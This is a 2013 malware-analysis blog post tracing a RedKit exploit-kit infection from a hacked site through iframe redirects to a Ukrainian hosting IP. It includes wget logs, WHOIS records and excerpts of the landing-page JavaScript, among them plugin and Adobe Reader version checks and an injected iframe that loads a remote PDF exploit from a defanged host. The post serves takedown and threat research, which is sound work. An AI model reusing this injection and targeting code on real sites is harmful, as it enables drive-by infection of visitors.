Monday, April 15, 2013

#Howto - Analysis infection of RedKit sourced at via OS X/Mountain Lion

It's been a while since I post report in this blog. Now we are posting a RedKit infection we traced sourced to the Ukrainian hosting server at The report is pointing us to the suspicion of an IP which is used by RedKit for source infection, suspected payload's server is there in some used dommains by bad actors.

The difference between my previous analysis and this one is, this was purely analyzed & wrote from a "weaponized" OS X with my bunch of FreeBSD tools recompiled on it.

I hope this writing can be used as a how-to to my friends who used OSX same environment too. So for Mac users, specially for you who are familiar with UNIX/Linux command lines, don't be hurry to switch into other "X" OS for analysis, in my test-drive in writing this post, it proofed that OS X is more than enough to do a deep analysis of any threat.
OK, here we go!

It all begins with the infected site as per below url:

During the access to the site I recorded the below connection with the X11's based Wireshark:

If we follow the package within one http response well, it will show the request for infection below:

We saw 4 or 5 redirection in a row in accessing the infector site above. So I grabbed the "anti-aging-c-35.html?p___= to see the redirected IFRAME code was there, as per below snipped of TextMate:

Why a single html can caused the 4 or 5 redirection? Must be more.. I searched the components included to view this site as per below search tools:
Then I opened my firefox, faking the request to fool the RedKit script and to get the other files used as components to this html, then found the same IFRAME method was injected as per searched in my F*bug:

In details, I went to those script contains the iframe to confirm as per below row of snapshots:

Seeing these I realized that this site is (STILL) completely being used to infect.

I further checked whether the infector site's domain is legit or not:

   Registered through:, LLC (
      Created on: 01-Mar-10
      Expires on: 25-Jul-13
      Last Updated on: 26-Jul-12

   Teva Skin Science LLC
   117 Lost Forest Drive
   Westminster, SC 29693
   United States
Well.. it's ending up to a legit hacked GoDaddy(s Network..
NetRange: -
OriginAS:       AS26496
NetName:        GO-DADDY-COM-LLC
To my curiosity I studied the condition needed to grab this file by below HTTP header requests logged:
-2013-04-14 18:06:15--  h00p://
Caching =>
Connecting to||:80... connected.
GET /anti-aging-c-35.html?p___= HTTP/1.1
Referer: Whatever that has google in it..
User-Agent: MalwareMustDie was banging your site to check RedKit infector..
HTTP request sent, awaiting response... 
HTTP/1.1 200 OK
Date: Sun, 14 Apr 2013 09:06:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
Vary: Accept-Encoding
Set-Cookie: osCsid=svle39em7ni3oj6982rjaossm2; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
200 OK
Length: unspecified [text/html]
Saving to: ‘anti-aging-c-35.html?p___=’
2013-04-14 18:06:20 (495 KB/s) - ‘anti-aging-c-35.html?p___=’ saved [6403]
I turned to see the redirectred infector, also checked it with browser to find request & response result as per below..

Not trusting so much on GUI result? Me too. So I reproduced the access:
--2013-04-14 18:11:03--  h00p://
Caching =>
Connecting to||:80... connected.
GET /eagn.html?i=830988 HTTP/1.1
Referer: h00p://
User-Agent: Beware malware.. MalwareMustDie is getting closer.. with new toyz..
HTTP request sent, awaiting response... 
HTTP/1.1 200 OK
Date: Sun, 14 Apr 2013 09:11:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html
200 OK
Length: 0 [text/html]
Saving to: ‘eagn.html?i=830988’
2013-04-14 18:11:07 (0.00 B/s) - ‘eagn.html?i=830988’ saved [0/0]
Yes the "switch" of the infector is turned "off" at the moment the log was taken.. to bad..
So always remember rule number one which is never doing too much "HTTP-banging" in dealing with RedKit infectors :-)

Anyhow, let's study the site used for second infector:

[Domain Name]                 R-YONEMURA.JP
[Name Server]       
[Name Server]       
[登録年月日]                    2009/12/03
[有効期限]                      2013/12/31
[状態]                          Active
[最終更新]                      2013/01/01 01:05:09 (JST)
[名前]                          株式会社リンクアップ
[Name]                          link up inc
hmm, japanese legit domain, a SOHO legit business, in a hosting too,,
inetnum: -
netname:        ISLE-NET
descr:          Isle,inc.
country:        JP
admin-c:        MA117JP
.. and good! Is under our jurisdiction to cleanup.

Fortunately, is the infector that I always keep an eye with, I always logged the "good response" as documentation which contained the Landing page that can be used as PoC as per pasted here -->>[HERE]
Now let's see the suspicious data in that landing page.. hope to see the interesting url for exploit infector or maybe a payload?

A Snip of Exploit Kit Landing Page

The plugin detect used...

var Ganni = {
    version: "0.7.7",
    rDate: "04/11/2012",
    name: "Ganni",
    handler: function (c, b, a) {
        return function () {
            c(b, a)
we have a heavily customized old version of PluginDetect :-)

As per it is, the OS detection..

        c.OS = 100;
        if (b) {
            var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, 
                "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, 
                 "Pocket\s*PC", 22.3, "", 100
            for (f = d.length - 2; f >= 0; f = f - 2) {
                if (d[f] && new RegExp(d[f], "i").test(b)) {
                    c.OS = d[f + 1];
                    break  [...]
The condition for BSD OS are always empty anyway :-) Maybe next time I should test OpenBSD for accessing this?

Interesting flag of "status" to be pointed after after detecting java

if (c.isIE && !c.ActiveXEnabled && d !== "java") {
            a.status = -2;
            return a
        a.status = 1;  [...]
As per with Adobe reader, below is the initialization for infection with Pdf-Ctrl function..
    Plugins: {
        adobereader: {
            mimeType: "application/pdf",
            navPluginObj: null,
            progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
            classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
            INSTALLED: {},  [...]
..with the handling after flag of version detected...
flopp = Ganni.getVersion("AdobeReader");
if (flopp) {
    flopp = flopp.split(',');
    sp1 = false;
    if (flopp[1] < 4 && 9 == flopp[0]) sp1 = true;
    if (flopp[1] < 3 && flopp[0] == 8) sp1 = true;

    if (sp1) {
        bosfef.setAttribute("width", 31);
        bosfef.setAttribute("height", 13);
This is the part on how the HTML file got injected with IFRAME:
insertHTML: function (g, b, h, a, l) {
    var m, n = document,
        k = this,
        q, p = n.createElement("span"),
        o, j, f = "<";
    var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
    var i = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
    if (!k.isDefined(a)) {
        a = ""
    if (k.isString(g) && (/[^\s]/).test(g)) {
        g = g.toLowerCase().replace(/\s/g, "");
        q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
        q += 'style="' + i + 'display:inline;" ';
        for (o = 0; o < b.length; o = o + 2) {
            if (/[^\s]/.test(b[o + 1])) {
                q += b[o] + '="' + b[o + 1] + '" '
        q += ">";
        for (o = 0; o < h.length; o = o + 2) {
            if (/[^\s]/.test(h[o + 1])) {
                q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
        q += a + f + "/" + g + ">"
    } else {
        q = a
    }  [...]
And the variable used for infection is at the beginning of the script:
var bosfef = document.createElement("iframe");
function dettq() {
    bosfef.setAttribute(jsou, "h00p://");}
This is it, the usage the 897.pdf exploit to infect the malware.

File's currently unavailable (smile), or tango moved faster?

GET /987.pdf HTTP/1.1
Host: (
HTTP request sent, awaiting response... 
HTTP/1.1 404 Not Found
Server: nginx/1.1.10
Date: Sun, 14 Apr 2013 13:12:13 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 205
Connection: keep-alive
404 Not Found
The requested URL /987.pdf was not found on this server
] done.
2013-04-14 22:12:15 ERROR 404: Not Found.
I used both previous infector url referers to re-check and the results were the same. Well, at least we're sure now that there is no harmless site will have the script works as per described, it is good enough for the clean up purpose. So let'S invetigate further on the network & infection records.

What's with ?

This is the main course of this story actually. As we can see the is a domain served in the Ukrainian Hosting service. The IP officially own by this host w/reversed IP registered by:

"  A"
Which is a confirmed Hosting Service's IP address:
"inetnum: -
netname:        Hosting
descr:          Delta-X LTD"
org:            ORG-LA230-RIPE
country:        UA
admin-c:        RIV3-RIPE
tech-c:         RIV3-RIPE
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-by:         DELTAXUA-MNT

organisation:   ORG-LA230-RIPE
org-name:       "DELTA-X" LTD
org-type:       OTHER
"address:        Ukriane, Kyiv
address:        Bogdana Khmelnitskogo 16/22, r. 504/1
admin-c:        RIV3-RIPE
person:         Rudenko Ilya Vladimirovich
address:        UA, Kyiv, 03065
address:        PO Box 65
phone:          +38(044)392-74-33
The thing is there are so many web infection ended up in this address:
"Some PoC of infections in this Hosting server's IP..
urlquery ALSO detected other action in some of the domains under this IP..."


Date (CET) Alerts / IDS URL IP  
2013-04-14 15:40:35 0 / 0 "h00p://"     
2013-04-04 16:38:05 0 / 8 "h00p://"
2013-04-04 15:59:02 0 / 8 "h00p://"

"And so does Virus Total.."

2/36 2013-04-11 11:23:26 "h00p://"
One of the above infected url has a payload snapshot:

Thus, pDNS command line combined with domains checker script we posted in our Google Project can extract more domains used by malware infector & current ALIVE status:
"..while these are domains with via UKRAINE.COM.UA registrar -
    [...] etc [...]
"AND these domains are pointed to an IP address w/o proper NS sets..",,,,,,,,,,,,,,,,,
Well, this is a hosting server.. so it has many domains.. Sure it is.
I didn't say that the 44 domains which are registered in this IP are verdicted bad, but some dangerous infector with the RedKit and etc Exploit Kit infector are found ending up to this IP.
( This is the list of active domains in -->>[PASTEBIN] )

Furthermore the domain used for infection in our case is belong to below info:

descr:   Domain registered for customer of
admin-c: DELTA-EUNIC
tech-c:  DELTA-EUNIC
changed: 20130308
source:  EUNIC
Transfer:            locked
Record created:      2011-03-11
Record last updated: 2013-03-08
Record registered:   2011-03-11
Record expires:      2014-03-11
Status:              OK
If my deduction is correct, whether this hosting is also under hacking to be used for infection OR ...(Our Tango Team is investigating further now).
The bottom line is, in the mean time please keep an eye on a suspicious access which lead to And all of the network analysis was conducted via OSX Terminal :-)


The below numbers are link to the infection references that can be used for our infector dismantling (TangoDown) purpose:

[1] [2] [3] [4] [5]